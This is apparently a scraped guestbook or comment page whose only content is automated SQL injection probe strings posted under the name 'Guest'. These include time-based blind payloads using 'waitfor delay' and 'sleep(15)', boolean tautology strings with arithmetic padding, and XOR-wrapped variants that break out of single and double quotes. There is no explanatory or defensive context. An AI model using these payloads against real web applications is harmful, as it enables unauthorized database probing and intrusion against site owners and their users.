Guest:
555-1)); waitfor delay '0:0:15' -- 


Guest:
555-1)); waitfor delay '0:0:15' -- 


-1 OR 2+119-119-1=0+0+0+1 --

-1 OR 2+438-438-1=0+0+0+1

-1' OR 2+220-220-1=0+0+0+1 --

-1' OR 2+811-811-1=0+0+0+1 or 'FbVdn9Fh'='

-1" OR 2+536-536-1=0+0+0+1 --

if(now()=sysdate(),sleep(15),0)

Guest:
555-1)); waitfor delay '0:0:15' -- 
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

Guest:
555-1)); waitfor delay '0:0:15' -- 
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z